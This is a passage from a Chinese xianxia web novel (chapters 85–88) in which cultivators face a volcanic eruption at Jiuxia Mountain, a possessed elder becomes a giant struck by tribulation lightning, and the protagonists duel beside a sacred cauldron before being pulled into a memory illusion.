先是晶面黑屏, 继而整个九夏山被掀开了顶部盖子，岩浆冲天而起, 本来在芥子境内考核的弟子被扔了出来，导致不少宗门修士都下意识地冲出去试图捞回自己宗门的弟子。 很多修士都没意识到神微真人的异样。 直到恐怖的灵力波动爆发开来，悬浮于半空不断寻找自家弟子的修士们才发现情况不对。 应啸天愕然地看着在火光中激烈战斗的两人, 不可思议。 “卫宗主怎么和神微真人打起来了？” 身姿妖娆、姿容美艳的天魅宗主笑眯眯地说：“谁知道呢？但芥子境突然爆开，九夏山必须给我们一个说法！” “你这样子不像是去要说法的。” 金翎真人不知何时摸了过来，大家都是魔修，这种奇怪的情况还是躲在魔修堆里比较安全。 “完全没去捞自家宗门弟子啊。” 天魅宗主大笑，笑声如琴弦泠泠然悦耳动听。 “如月师兄不需要我去救，倒是你，这次寂夜宫来了这么多弟子，就这么舍了？” 金翎真人耸肩：“我们宫主应该动手了。” 寂夜宫的弟子越多，寂夜魔尊面临的天劫威力就越弱，未来寂夜长吟爆发时，宗门才有足够的力量应对可能到来的劫难。 金翎真人冲出来时倒也捞出了两个看着眼熟的弟子，可是四周岩浆冲天而起，炽烈恐怖的岩浆高温过于可怕，金翎真人也只能连连退避，并预祝那些弟子好运了。 玄命派的两个修士正满头大汗的掐指急算，算着算着，年长那个修士直接一口血喷出，昏了过去。 年轻那个下意识地捞住自家师兄，再看看师兄的状态，不由得倒吸一口冷气。 下一秒，年轻的玄命派修士扛着自己师兄，无视周围道友们的招呼，头也不回地跑了。 “啊？情况这么差吗？” “倒也不至于吧？哎，卫宗主和神微真人出来打了！” 众多修士赶紧后退，给打起来的两个人让开空间。 卫景营已经快要气疯了，这群人怎么就看着啊？动手啊！ 他厉声道：“你不是神微真人！哪里来的孤魂野鬼，夺舍了神微真人？” “什么？神微真人被夺舍了？” “那他为什么追着卫宗主打？” “可能和天凌宗有仇吧？” 于是乎，这群高阶修士退得更远了。 卫景营快要气吐血了。 往日里各个仙风道骨，真遇到敌人了怎么这群家伙一个比一个跑得快啊？ 但没关系！ 卫景营倔强地想，虽然敌人不是他设想的寂夜魔尊，却也是一个不知名的邪修。 只要击溃了邪修，挽大厦于将倾，将九夏山的灾厄平息下去，他依然能达到自己的目的，成为正道魁首！ 砰—— 卫景营手中握着一把冰色长剑，同时还有两把长剑在他身边来会旋转，他白衣飘飘、头冠旁的玉带随风而动，让他整个人都像是一颗巨大的冰球。 他不断冲击着神微真人，灵力激荡、冰晶翻飞，尽显天凌宗的神通广大和强悍可怖。 “卫宗主准备得好齐全啊。”天魅宗主看了几眼，冷不丁说：“他这身袍子防御力很高，还能帮助他加快灵力回转，强化冰属性法术。” “他那玉冠也能凝神定心，有镇魔的功效。” 有其他修士一眼认出了卫景营的头冠效果。 “哦哦哦天啊，他还带了五方祭坛！” 伴随着应啸天的震惊尖叫，只见远处的卫景营扔出了个巴掌大的方形法器。 那法器很快扩大变成了一个祭坛，他站在祭坛上，五色神光以他为中心四散扩张开来，将神微真人的攻击全部反弹了回去！ “……他来之前就知道要战斗？” “也说不准，他之前一直针对寂夜宫。” 围观的诸位道友间突兀沉默了一瞬，下一秒又当什么都没发生过一样纷纷赞叹。 “天凌宗果然不愧是仙门大宗，真是我辈楷模。” 天魅宗主也露出甜腻的笑容：“啊呀，下次出门，我也要做完全准备才是。” 本以为只是带弟子来参与一下芥子境争夺，看看最强的丹道传承落入那个天赋丹师手中，并趁机打好关系，以后也许有机会请对方帮忙炼丹。 谁能想到九夏山直接爆了呢？ “说起来这岩浆在冲击这九夏山的防护阵法，若是真的流淌出去，方圆千里之堤都会化为焦土。” 有一个高阶修士明显是真界其他宗门的，他面色不渝地看着下方滚滚岩浆，忧心忡忡地说：“九夏山的弟子们正在快速撤离，他们的高阶修士去哪里了……” “对啊，也没见到闻道友。” “哦，找到了，九夏山还是有一些其他元婴修士的，我去打个招呼，问问怎么回事。” 而就是这一恍神的功夫，只听到那边传来巨大的轰鸣声，再咣当一下，之前看起来游刃有余、绝对要获胜的卫景营竟连人带祭台，被踢了出去？ 众人倒吸一口冷气，立刻顺着攻击的方向看去，只见神微真人扬天发出巨大咆哮声：“啊啊啊啊啊！” 他猛地伸手，刺啦一声撕开了身上的衣服，原本洁白晶莹的皮肤竟变成了古铜色，同时系在发冠里的长发也变粗变长，像是倒刺一样直接爆开来。 神微真人的身躯在逐渐生长、变长、变大，他从一个普通的人族修士，眨眼间变成了一位上古巨人！ 这上古巨人的身躯有三分之二个九夏山那么高大强壮，卫景营在他面前就像是一只蚊子。 他只手摘星辰，脚踩九夏山喷射岩浆的火山口，天上的白云为他披上洁白的长帛，流淌出来的岩浆就好像是澡盆溢出的水。 所有修士全都傻眼了。 “等等，刚才卫宗主说什么？神微真人被夺舍了？” 他们纷纷转身就跑，但此刻再撤离就已经晚了。 那巨人修士扬天狂笑着，高呼着：“我成周先祖遗泽余荫光辉浩瀚，哪怕已经过去了数万年，依旧还有这么多啊！！” 他们成周开创了人族主宰大陆的时代，是如今所有王朝的开端，只要人族修士还处于鼎盛时代，他们成周就能得到一份香火和恩情。 想到这里，这成周遗脉修士激动大笑起来。 “我要重现先祖辉煌！我要拆掉界门，再度让整个大陆全都沐浴在成周的光辉和统治下……” 他笑着笑着，天地风云突变，乌云压顶，漆黑的云层中突兀响起了一道刺耳的闪电声。 巨人的笑声僵住了。 他刚直抒胸臆、表达了未来的目标，怎么老天爷就警告他？ 下一秒，一道黑紫色的天劫从云层中猛地落了下来，狠狠地劈再了巨人的脑袋上。 轰隆—— 巨人不理解，他还什么都没做，口嗨一下都不行吗？ “天道你不公！！” 他对着苍天大声咆哮着，猛地捶打着胸膛，身周释放出了更加恐怖的威压和力量，像是要和苍天大战三百回合、反抗天地压迫。 但在这巨大的巨人脚跟后面，岩浆流淌后冷却的岩石堆里，卫景营扶着胸口，一手撑地，正目眦欲裂地瞪着面前站着的人。 裴寂夜仰头看着天上不断朝着他劈、但却劈到巨人的雷劫，语气微妙。 “……卫景营，你将我挂了通缉，还在真界界门里塞进去了九霄神雷，只要我进入真界就会挨雷劈，但恐怕你自己也没想到，这雷劫在劈到我之前，先劈了这从犄角旮旯里冒出来的什么成周遗脉修士吧？” “裴霁！！我要杀了你！！” 卫景营要破防了，这是第二次了啊！上次裴霁将他打成重伤，还趁火打劫，怎么兜兜转转，这一幕又上演了？ 裴寂夜一脸无辜：“这次可不怪我，我一来就看到你差点被巨人踩到脚丫子地下，我还拉了你一把呢。” 他缓步走到卫景营身前，似笑非笑。 “你唆使高淳秋来找我的麻烦，又联络神微想要挑破我的身份，甚至打算封锁界门，彻底将我困死在真界……卫景营啊卫景营，你怎么就不敢承认呢？你这无情道早就破成玻璃渣子了，你那天生的情感缺失大病也早就治好了，被我治好了啊！” “看啊，你现在脸上这扭曲疯狂的表情，多丰富激烈啊。” 裴寂夜恶毒地说：“就冲这一点，你就欠了我天大的恩情和功德，你得谢谢我呢！” 第86章 第 86 章 你爱他，就替他去死吧。…… 卫景营几乎要气昏厥过去了。 他苦心搭建的舞台, 却因为神微真人的意外，变成了玄命派修士口中的灾难，他自己甚至重伤, 又被裴寂夜救了！？ 对卫景营来说, 天都塌了。 他不仅没有解开心魔和桎梏, 甚至心魔更深刻严重了！ 从此以后他将永远欠裴寂夜一个天大的人情！ “不！这一切都是你的阴谋！” 卫景营几乎本能地将眼前的一切变化和异常归结于裴寂夜。 若非如此, 他那颗早就充满裂痕的道心会立刻破碎。 裴寂夜却沉默了, 他的神色复杂而微妙。 “我倒宁愿是我的阴谋, 可眼前这一切……” 在昆吾之灵向裴寂夜展示了那一大堆裴面皮的怪异造型后，裴寂夜心里只剩下了一个念头：他要立刻见到谢琳琅，他要向他道歉！ 是他自己困于无聊的担忧和忐忑中，是他不该远远地避开了谢琳琅, 他应该早早去找谢琳琅的！ 但现在也不算晚啊, 他们都还活着, 他们都在人世间！ 昆吾之灵尽管是以天魔为养料诞生的芥子境之灵，却也被裴寂夜的脑回路吓了一跳。 只能说什么锅配什么盖。 但昆吾之灵并不想让裴寂夜这么轻松达成目的。 他告诉了裴寂夜两件事, 一个是神微真人和昆吾之灵间的交易。 神微真人希望昆吾之灵操纵芥子境, 将谢琳琅的传承交给天凌宗。 若是天凌宗派来的弟子里，没有适合传承的人，那也尽量将传承交付给真界仙门大宗的弟子手里。 只要昆吾之灵做到这一点，神微真人就不给昆吾之灵找新主人, 并让昆吾之灵以天地灵物的身份生活再九夏山。 裴寂夜听后立刻表示不信, 这么一个乖张狡猾的芥子境之灵，会愿意和神微真人达成这种交易？ 昆吾之灵当时就笑了：“没错, 这只是一个借口，碍于我与琳琅道君的约定，我的确要将他的传承交付给转世的他或者你手中, 既然神微会将真界各大宗门的优秀弟子送到我面前，让我甄别选择，我为什么拒绝呢？” 随即昆吾之灵说了第二件事。 “但昨天晚上，神微真人再一次找到了我，说要变更交易。” 黑色的八哥扑棱着翅膀，他身下拽着的那一长串裴面皮们同样弯起了嘴角，露出了爽朗的笑容。 “可他不知道，在神微死的时候，我就看到了，哦别这么看我，我当然也知道你在现场。” 甚至谢琳琅也在现场，但当时昆吾之灵不确定谢琳琅和裴霁的身份，只当时寂夜宫出来游荡的弟子。 “为了更好的甄别来九夏山参与考核的弟子，我早早就打开了芥子境的门，将芥子境与整个九夏山的护身大阵相对接。” 昆吾之灵得意地说：“神微真人将我看做是其他芥子境之灵那等单纯天真的玩意儿，真是太可笑了，我轻易拿到了九夏山护山大阵的权限，我知道小红进入了九夏山，也知道是她干掉了神微。” 它甚至骄傲地挺起了胸膛，黑色八哥鸟胸前的绒毛全部炸开，得意极了。 “我还帮她消除了传送痕迹，即便九夏山或者天凌宗去追查，也什么都差不到。” 裴寂夜面色古怪：“虽然很感谢你这么做，但是为什么？” “这有什么为什么？”昆吾之灵咯咯笑，“我是天魔啊，天魔无拘无束，想做什么就做什么，事情突然转变到一个有趣的方向，我当然希望更有趣。” 裴寂夜提高了警惕，如果昆吾之灵具备天魔的特性，那它就绝对不会让裴寂夜轻易见到谢琳琅！ 想想刚才昆吾之灵还试图吞了他，伪装成真正的裴霁，裴寂夜就心生戾气和杀意。 就在裴寂夜想要不讲武德直接动手时，突然听到昆吾之灵如此说：“我和新的神微达成了交易。” 裴寂夜心中一动，他想到玄命派那四句话，恍然大悟。 “九夏山突生变异，是你干的！！” “嘻嘻，那个夺舍了神微的家伙也是一个灵体，我也是灵体，你觉得我会输给他吗？” 昆吾之灵意味深长地说：“我和他协商的时候，用了点天魔的小技巧，诱导了一下他的所思所想。” 昆吾之灵也没想到，红师姐难得回一趟宗门，竟带回了一份天大的礼物：成周遗脉。 上古时代，诸多天地灵物争夺天道宠儿的位置，但最终胜利者为人族。 当时建立了以人为天地之灵的王朝的正是成周时代，而红师姐送回的这个灵体，是成周覆灭后不断逃亡、最终被妖族杀死的一个成周遗族。 虽然对于修士来说，重塑身体不算是特别难的一件事。 可是成周遗脉惨遭妖族屠戮，在无尽岁月的折磨中曾发下誓言，若有朝一日逃出生天，他定要重现成周辉煌，再度覆灭所有妖族。 为此，他打算复现当初成周建立的过程，以相似的仪式引动天地灵力共振，由此得到成周功德，重塑功德金身。 “他答应小红来到九夏山帮忙杀死神微真人，就是因为九夏山乃上古大夏遗族建立的道统。” 昆吾之灵细细解释着，“只要他毁掉九夏山的道统，他就在实际意义上又一次复现了他先祖曾做个的事，于是……” 裴寂夜恍然大悟，他总算明白了一切。 作为伯夏修士，裴寂夜很清楚山腹内是大夏的祭祀礼器大夏釜，他和神微真人都有操纵大夏釜的资格。 那成周遗脉夺舍了神微真人，拿走了大夏釜内祭祀用的大夏遗族鲜血。 失去了祭祀之物，大夏釜自然无法镇压山下不断涌动的地心火，再加上眼前可以操纵护山大阵的昆吾之灵暗中破坏防护阵法，整个九夏山立刻被火山之水淹没，岩浆滔滔不绝，浓黑的烟气滚滚升空，仿佛世界末日一般。 “我知道你想去找琳琅道君，你知道我将他送到哪里了吗？” 昆吾之灵笑嘻嘻地看着面色铁青的裴寂夜，“我将他送到大夏釜附近了，我想知道他会为了整个九夏山，将自己当成祭品吗？” “毕竟，他转世重修后，貌似成了妖族哎。” 砰—— 幽暗的绿色长剑直接刺穿了黑色八哥，原来是裴寂夜含愤出手。 他可以不在乎昆吾之灵算计他的事，但却听不得谢琳琅可能死亡的话语。 又一次被碾压成碎肉的八哥嘴巴上下碰撞着，“裴霁，若我没看错，你现在也是妖族吧？那就去啊，去将他替换下来。” 八哥那坚硬的嘴巴说出了极为恶毒的话语。 “你爱他，就替他去死吧，你死后，我就是裴霁啦！” 伴随着这句话，眼前迷障般的雾气轰然消失。 恰好在此刻，裴寂夜也找到了昆吾之灵的核心——当然不是那群看起来非常可笑的裴面皮串子，而是一个瓷白色的丹药瓶子。 那瓶子长颈，细口，大肚，明明是普普通通的白瓷瓶，却流淌着一种梦幻而水润的光彩，让所有看到的人都会失神。 ……那是曾经谢琳琅用来储存天魔残渣的瓶子。 裴寂夜发出一声凄厉的鸣叫声，他全身爆发出黑紫色的魔气，如雷霆般撕裂空间和雾气，在被甩出去的瞬间，猛地刺穿了那个白色长颈瓶。 咔嚓。 长颈瓶碎裂的位置流淌出了丝丝缕缕的鲜血，昆吾之灵惨叫起来。 它怨毒地说：“你居然找到了，但无所谓了，去迎接属于你的命运劫吧！” 下一秒，所有迷雾瞬间消失，芥子境收缩并消失在了九夏山内。 裴寂夜刚稳定身形，就本能地侧身让开。 一个巨大的如柱子般的大腿从他眼前闪过。 裴寂夜心中一惊，连忙拉远视线，这才发现了九夏山上多了一个巍峨的巨人。 而那巨人的脚丫子正狠狠踩下来，脚丫下方的卫景营狼狈吐血，那五色祭坛碎裂成渣，卫景营也即将被巨人踩成饼。 裴寂夜身如利箭，嗖一下将卫景营捞了出来， 此刻听到卫景营的指责，裴寂夜烦躁地说：“行了，既然你认为一切都是我的阴谋，那你自己看着办吧。” 裴寂夜没有理会头顶不断落下的天劫，也懒得再理会叽叽歪歪的卫景营。 他救卫景营，一方面是顺手而为可以恶心卫景营，另一方面…… “卫郎。” 一个略显甜腻的声音突兀出现，继而一朵壮硕而美丽的姚黄牡丹于半空显现。 随着不断旋转，姚黄花开，一个穿着黄色长裙的女子笑吟吟地出现在裴寂夜和卫景营中间。 卫景营面色剧变，他几乎立刻撑起身体就想跑。 黄色长裙的女子含笑看着卫景营狼狈逃窜，走一步摔一个跟头的样子，转头对裴寂夜道：“多谢宫主，若他刚才就那么死了，我这辈子都迈不过心魔的坎儿了。” 裴寂夜冷漠地说：“我有别的事，这边交给你了。” 黄色长裙的女子柔柔道：“放心，我尽量将弟子们都救了出来，还碰到了魏师妹，大概了解了这边的情况，我和卫郎叙旧后就去找金翎。” 裴寂夜听后立刻就走。 厚重的乌云内还在不断向下劈天劫，成周遗脉的巨人修士怒极，他反手抓住了一个山头，像是泄愤一样扔向了天空。 “贼老天！你凭什么劈我？！” 裴寂夜则猫着腰，躲在巨人修士下方，在满是碎石瓦砾的废墟里来回穿梭，终于找到了九夏山山腹的入口。 尽管岩浆还在不断喷涌，但巨人修士所在的位置被成周功德压制，岩浆从山脚下的裂缝中涌出，倒是山顶部的岩浆已经冷却成石头了。 裴寂夜赶紧趁着成周遗脉修士没发现猫腻之前，猫腰窜进了山腹内。 第87章 第 87 章 衍灵。 轰隆—— 沈鹤只觉得脑袋嗡嗡作响。 事情变化发展太快了, 他这个修行才一年不到的小修士根本搞不清楚现场情况。 他不是在参加芥子境的考核吗？见识了很多全新的材料，也学到了采摘灵火的手法，正在参与第三关的丹道境界考核, 却突然被扔到了充满了岩浆和混乱灵力的山腹深处。 高温不断侵蚀着身体, 哪怕外放灵力防护, 也有种被灼烧的感觉。 沈鹤半路上碰到了张思则, 考虑到环境不对, 张思则也没有主动攻击沈鹤, 两人一起来到了山腹最深处，见到了这个巨大的大夏釜。 那之后发生的事简直颠覆了沈鹤的认知。 先是九夏山的闻净焱前辈忧心忡忡地说大夏釜是九夏山圣物，需要祭品才能让其恢复正常功效，以此平息外面的山火。 随后张思则不知道哪里抽筋, 居然趁机从后方偷袭他。 在沈鹤应对张思则的攻击时, 似乎就要咽气的闻净焱居然出手偷袭, 也将沈鹤扔进了大夏釜。 更搞笑的是，张思则也被扔进去了？！ 变故接二连三, 沈鹤还来不及愤怒, 就见偷袭自己的张思则落了这个下场，竟有点想笑了。 再然后他突然就多了两个亲戚，玉佩师尊姓谢，似乎还认识闻净焱, 并将他从大夏釜里捞了出去。 但刚认识的两个亲戚却全都完蛋了！ 沈鹤整个人都要麻了。 蓝白色大妖自爆了, 神魂钻进了他的随身携带的养魂瓶里，可是另一个亲戚张思则却被留在了大夏釜内。 在谢琳琅和闻净焱互相斥责对方时, 沈鹤一边警惕着闻净焱，一边还是忍不住靠近了大夏釜。 张思则对他有敌意，之前还偷袭他, 沈鹤知道自己不该再多关注张思则。 可他控制不住自己的身体，这是他思念并寻找了很多年的血亲啊。 他总要趁着张思则还没死前，问清楚张思则家里的情况吧？ 沈鹤还想以后去找上门打听一番呢。 什么？将张思则捞出来？ 不不不，寂夜宫大课里，前辈们千叮咛万嘱咐，人都是犯贱，白给不值钱，千万别当烂好人。 轰隆—— 又是一道蓝色流光擦着沈鹤耳边冲出去。 沈鹤连忙定神看去。 谢琳琅此刻周身萦绕着七彩流光，星斗以玄妙轨迹来回流转，蓝色长剑如流星，时不时戳向一些奇奇怪怪的位置。 明明他现在实力不足，只是筑基期，却和元婴期的闻净焱斗了个旗鼓相当。 主要是谢琳琅太熟悉闻净焱的阵法水平和习惯了，再以及闻净焱此前被【神微真人】偷袭，元婴被捏碎，只留下一抹残影，哪怕立刻闭关休养，也得好好养上几十年。 结果闻净焱先是暗算了高淳秋，又来回跑路并试图操纵大夏釜，此刻又骤然得知神微真人已然死亡的噩耗，整个人都陷入了癫狂之中。 可他作为阵法大师，想要布阵，必须保持各个阵眼和节点的灵力输入平稳丝滑。 种种因素叠加起来，导致闻净焱尽管境界和实力远高于谢琳琅，可随着时间推移，他却落入了下风之中，并被谢琳琅巧妙地驱赶着，被动靠近了大夏釜。 沈鹤眼瞅着不妙，他快速后撤，躲在了大夏釜后方，并赶紧往里面看。 “张道友……额？！” 大夏釜内，高淳秋的妖族本体已然化为一滩流水，在大釜底部微微飘荡着。 鲜红色的妖族血液不断升腾出金色气息，大夏釜内壁不断闪烁着金色光斑，贪婪着吸取着其中的力量，那些光斑仿佛夏日萤火虫，时而亮时而灭，宛如在呼吸。 张思则站在靠近边沿的位置，拿出了一个乾坤袋，将里面的东西放了出来。 那是一条巨大的黑蛇。 大夏釜内禁锢一切力量，但也不知道张思则怎么做到的，他居然用大夏釜内的妖血在黑蛇身上绘制符文。 张思则的脸色扭曲狰狞，鲜血映衬着他的脸，让他看上去仿佛是地狱里恶鬼。 他一边绘制着符文一边喃喃地说：“你们都看不起我，都想我死，那就一起死吧！！” 沈鹤怔怔的，这一幕是何其眼熟，恍惚间他似乎回到了紫焕山秘境，回到了那个密室里。 抽取妖族血脉神通，以炼制为自己的第二化身，这、这不就是……九灵宗的图腾秘法吗？ 一瞬间，无数细节在沈鹤脑海中浮现。 张思则擅长御兽，却对灵兽没什么感情，豢养的豹子很随意地送给了沈鹤。 张思则进入紫焕山秘境之前，就知道许修士的密室，甚至知道怎么对付黑色妖灵。 张思则和乐清屏师姐去了一个满是废墟的遗弃之地，乐清屏施展秘法，甩脱了张思则，自己跑了，而在九夏山重逢时，张思则愤怒地斥责寂夜宫修士卑鄙无耻，将他当做垫脚石云云。 那问题来了，按照乐师姐当初的说法，那地方许进不许出，张思则是怎么逃出生天的？ 答案就在眼前。 张思则是九灵宗修士。 沈鹤倒吸一口冷气，他这位谢师尊和九灵宗有仇啊！ 他立刻抬头想要提醒谢琳琅，结果眼前寒光一闪，他本能地缩脖子，就见一道冷冽寒光擦着他的脑袋飞了出去。 砰！ 闻净焱踉跄后退，摔在了大夏釜前。 他大口吐着血，身体抖成了摆子，鲜血以他为中心蜿蜒流淌，可每当他要构成一个节点时，就会被谢琳琅远远地用七星剑打断。 即便闻净焱拿出护身法器，可谢琳琅来之前在乐清屏那兑换了大批符文。 此刻谢琳琅大手笔地撕碎了好几张元婴级别的符文，直接爆掉了闻净焱的法器，将闻净焱逼上了绝路。 闻净焱额头的血顺着脸颊流了下来，他的视野也变成了鲜红色。 “谢师兄，我不想这样的，我们不该是这样的……” 他知道自己师尊跳过神幽真人成为掌门，导致他们做弟子的关系也很差劲，可闻净焱以为他和谢琳琅之间不会走到这一步。 毕竟神幽真人已经陨落了，裴霁也死了，谢琳琅是仲夏，和他没有任何利害关系。 谢琳琅一身黑袍，衣襟前垂下的流苏随着激荡的魔气微微颤动着，黑色发丝飞扬如闪电，仿佛振翅欲飞的黑鹤。 他冷笑道：“怎么听上去都怨我啊？自作孽、不可活，是神微自己不修功德，和我以及红师姐有什么关系？但凡他当年与我师尊修复关系，或者在他接任掌门时就立誓将位置传给裴师兄，还会有今天的局面吗？” “他自己找死，怨得了谁？” 谢琳琅不屑地说：“你也不必强调自己多无辜，闻净焱，你这些年耗费材料试图颠倒阴阳、逆转生死，若你不是掌门嫡传，哪里禁得住你这么浪费？” 闻净焱死死盯着谢琳琅：“唯你没有资格这么说我！” “不，唯我有资格这么说你！” 谢琳琅拔高声音，“你想要复生那些死在邪修手中的亲人，我研究逆转生死想寻回师兄，纵然我们初衷一样，但我花费的是我自己炼制丹药贩卖的灵石，甚至现在九夏山能请来这么多宗门，也全靠我留下的芥子境！” “你是想说，我耗费了这么多宗门资源，却什么都没研究出来吗？” 闻净焱惨笑道：“好好好，谢师兄，今日也让你看看我的阵法一道，究竟是你的丹道厉害，还是我的阵法厉害！” 伴随着他这句话，闻净焱身上涌动起了可怖的灵力波动。 谢琳琅的视线越过闻净焱，直直看向躲在大夏釜后面的沈鹤：“退下！” 沈鹤咬着牙转身就跑，他边跑边大声喊：“张思则在里面抽取了一条妖蛇血脉！他、他是九灵宗修士！！” 谢琳琅面色微变，九灵宗还有残存修士？为什么会出现在这里？怎么还是沈鹤的血亲？ 但此刻谢琳琅暂时顾不上那么多，闻净焱身上泛起了黄色光芒。 这抹黄色不同于令人温暖的暖黄色，也不是炽烈的金黄色，而是一种夕阳黄昏般、充满了不祥的灰黄色。 以残存神魂为阵眼，以身体为催动阵法的材料，以最后的灵力为启动能量，闻净焱的意识逐渐远去，他喃喃地说：“我可是伯夏啊……” 皇天后土啊—— 九夏英灵兮玄扉开，后世子孙兮思故庭。 梧桐黄陨兮落尘埃，列星垂象、太阴流辉，吾与汝共昭明。 恍惚间，念完了颂词，闻净焱只觉得自己的神魂轻飘飘地飞了起来，他仿佛进入了一片光辉之地，过往九夏山的先辈身影们一个个浮现，又一个个消隐下去。 最终只留下了一个背影。 闻净焱不由自主地瞪大眼睛，那是他的师尊啊，是幼年挡在他身前、与邪修大战的师尊啊。 闻净焱毫不犹豫地追了上去。 轰隆—— 剧烈的爆炸声响起，整个空间出现了一道道漆黑的裂缝，大夏釜的外层出现了一道道金色纵纹，伯夏修士以自身为献祭，逆转生死，时光仿佛在大夏釜身上开始倒流。 恍惚间，上古时代最鼎盛、得到最强大功德气息温养的大夏釜降临在了数万年之后的时代。 谢琳琅闷哼一声，膝盖一软，半跪在地。 若非他曾是仲夏修士，恐怕就直接像沈鹤那样摔在地上，被强大力量压得五体投地了。 谢琳琅努力压下翻涌的血气，他勉强抬眼看去，只见漆黑的大夏釜表面上浮现了一个个上古时代奇异怪兽的浮雕，那都是大夏时代被扔进大釜里的祭品。 但紧接着，大夏釜发出了一声低沉的闷响。 嗡—— 一个巨大的灵字从大夏釜中缓缓升起，继而更多的灵气氤氲而生，在灵字前，不断组合并打散，最终形成了一个衍字。 衍灵。 第88章 第 88 章 幻境。 裴寂夜在山腹内快速穿梭着。 岩浆已然不往上喷涌了, 上方有成周遗脉的力量压制，这些地心火和岩浆都顺着山腹中间的裂缝不断迸射而出，化为了涛涛岩浆流, 向远处奔腾冲刷着。 但也正是由于岩浆不上涌了, 很多岩浆冷却成了岩石, 堵住了下方的道路。 裴寂夜一边冲一边挥舞黑绿色长剑, 剑锋所到之处, 全都被侵蚀成了毒水, 露出了下方的通道。 就在他冲入到中部时，突然整个山体震动了一下。 山腹深处传来了仿佛活物心跳般的震动声，砰，砰, 砰…… 裴寂夜面色微变, 他猛地停下脚步, 死死扶着自己的胸口。 他内的元婴竟也跟着震动了起来？ 不，震动的不是他, 是圣物, 是大夏釜！ 大夏釜活过来了！ 古老而久远的上古余音正在呼唤大夏族人，它在寻找着沟通上天的大祭司！ 有人唤醒了大夏釜，是谁？ 裴寂夜不理解，神微真人完蛋了, 闻净焱半死不活, 除了他以外，还有谁能催动大夏釜？ 随着一阵阵的鼓动声, 裴寂夜身上开始冒出点点黑色火焰。 他痛苦地弯下身体，他想要再继续向下，可是身体违背了他的意愿, 一根巨大的骨刺从他背后突兀穿出，第二根、第三根……很快他半个身体已经化为了一头巨大的黑色禽妖。 只是比起金翎真人此前见过的黑色美丽精致的小鸟，眼前这黑色禽妖白骨嶙峋，像是只有一个骨头架子，薄薄的皮肉紧紧贴在骨头上，宛如干瘪的尸体。 但他的上半身还艰难维持着人类的形态，双脚正在收缩变细，成了鸟爪的形状。 裴寂夜大口大口喘着气，他想要努力压制体内的变化，但却没有任何效果。 作为寂夜宫主，作为被万余年契约牢牢困缚在那片南海之滨的祭品，理论上他不能离开寂夜宫。 但裴寂夜天纵奇才，利用他体内另一个沉睡的妖灵魂魄做伪装，又因此地是九夏山，他终究曾是伯夏修士，完全可以借用九夏山的功德来模糊自身存在，这才敢出现在九夏山。 可是他既然借用了伯夏修士的身份，那么当大夏釜对他发起召唤时，他的气息本能会先他一步，主动回应大夏釜。 【……汝怎么了？】 就在裴寂夜的身体在禽妖和人类二者间来回扭曲、膨胀和挤压变形时，一个低沉古朴的声音响起。 裴寂夜痛苦地蜷缩成一团，根本没有余力回答这个问题。 但下一秒，另一个意识开始上浮，裴寂夜的意识被强行下扯。 “不、不要……” 裴寂夜挣扎着不愿意陷入昏迷中，他马上就要找到谢琳琅了，他要去见他！ 也许是这股意愿过于强烈，也许是触动了他体内的妖灵，在某个瞬间，一股浑厚而古朴的力量浩浩荡荡地冲刷过裴寂夜体内的经络，与裴寂夜自身的魔气相融合。 下一秒，他身体上的异样全部消失，皮包骨头的翅膀出现了血肉，紧接着一根根翎羽如流苏般飘逸出现，眨眼间裴寂夜化身为了一只有着金色竖瞳的巨大黑鸟。 裴寂夜大口喘气，脑海里一片空白，他的神色有一瞬间不可思议，但很快裴寂夜就回神了，他立刻收敛翅膀，如一个冲锋弹般直勾勾向山腹内冲去。 大夏釜对他的召唤还在脑海中萦绕，血脉的共鸣依旧存在，魔气在沸腾，不断呢喃着古老的呓语，可是这些种种异样带来的眩晕、恶心和疯狂感变淡了很多。 终于眼前霍然开朗，他来到了一片颠倒震动、岩壁火焰四散炸开的巨大空间。 这片空间里，大夏釜悬浮于正中间，上空漂浮着衍灵两个符文，同时远处趴着一个低阶修士，像是已经被激荡的力量冲得昏迷过去。 而在大夏釜正前方的地面上，一个黑发少年正单手持剑驻地，勉力支撑着身躯。 激荡的气流四散开来，黑色发丝凌乱飘飞，露出了他白皙而明丽的容颜，他眉心一点朱砂痣，黑眸白肤，正是裴寂夜此前认识的名为谢玉的少年。 裴寂夜的心都要冲出嗓子眼了，他几乎想也不想就震动双翼，试图扑向谢琳琅。 可就在他俯冲的一瞬间，一股奇异的感觉冲击到了他的神识，下一秒他恍惚间陷入了一个巨大的幻境中。 一股刻骨铭心地、发自灵魂的痛苦不断浮现，裴寂夜勃然大怒：“该死的又是九灵宗的图腾秘法！老子不是已经灭了九灵宗了吗？” …… 在衍灵两个符文出现的瞬间，谢琳琅的意识就落入了一片幻境之中。 他刚开始有些茫然，但很快他找到了同样茫然的沈鹤，两人四目一对，立刻汇合了。 “发生了什么？” “我不知道。” 沈鹤快速回答，又赶紧将自己看到张思则在大夏釜内的所作所为告诉了谢琳琅。 谢琳琅面色微变，他向沈鹤确认：“是一条黑色的蛇？” 沈鹤点头：“对。” 谢琳琅想到自己和乐清屏在九灵宗的废弃山门碰到的九灵宗主，不由得面露煞气。 他都送那个老匹夫归西了，那条蛇也被他和乐清屏分拆成材料了，张思则从哪里找来第二条蛇？难道是九灵宗主的备用傀儡？还是张思则自己用死蛋培育的？ 就在谢琳琅沉思之际，沈鹤环视周围，小声道：“若这个幻境与你我无关，那这是谁的幻境？闻前辈？” “不，和他无关，他用自爆发动了大夏釜，唤醒了大夏釜古往今来的先辈遗泽，然而他没想到大夏釜里的张思则竟使用了九灵宗秘传的抽取血脉的图腾之术。” 谢琳琅冷笑，“抽取图腾之术时，为了方便修士彻底掌控图腾之灵的过去和力量，秘术会提取目标记忆，我们在张思则的记忆里。” 谢琳琅快速看了一圈，对沈鹤道：“随我来。” 眼前是个人来人往的小镇，谢琳琅很快找到了小镇最大的住户，长长的墙壁上绘制着精致的符文，上面挂着张姓的旗帜。 沈鹤亦步亦趋地跟着谢琳琅，他看到这个宅邸后，下意识地抓住了谢琳琅的袖子，有些激动：“我、我是不是能知道他的亲人了？” 按照血脉锁定的秘术，张思则与他是直系亲属，难道他的父母…… 谢琳琅左右看了看，对沈鹤示意了一下，直接踩着墙，轻飘飘飞了进去。 沈鹤嘴角抽了抽，连忙跟上。 两人翻墙跳入张府后，幻境的精度明显比外面的小镇要更加精致、栩栩如生。 谢琳琅低声道：“幻境明显以张思则为中心，距离他越远，幻境越粗糙。” 沈鹤默默记下了这点探索小技巧。 他们两人穿过小桥流水的园子，穿过下人居住的外廊，来到了明显是妻妾居住的地方。 沈鹤见到谢琳琅完全无视周围的侍女和下人，忍不住问：“不用担心暴露吗？” 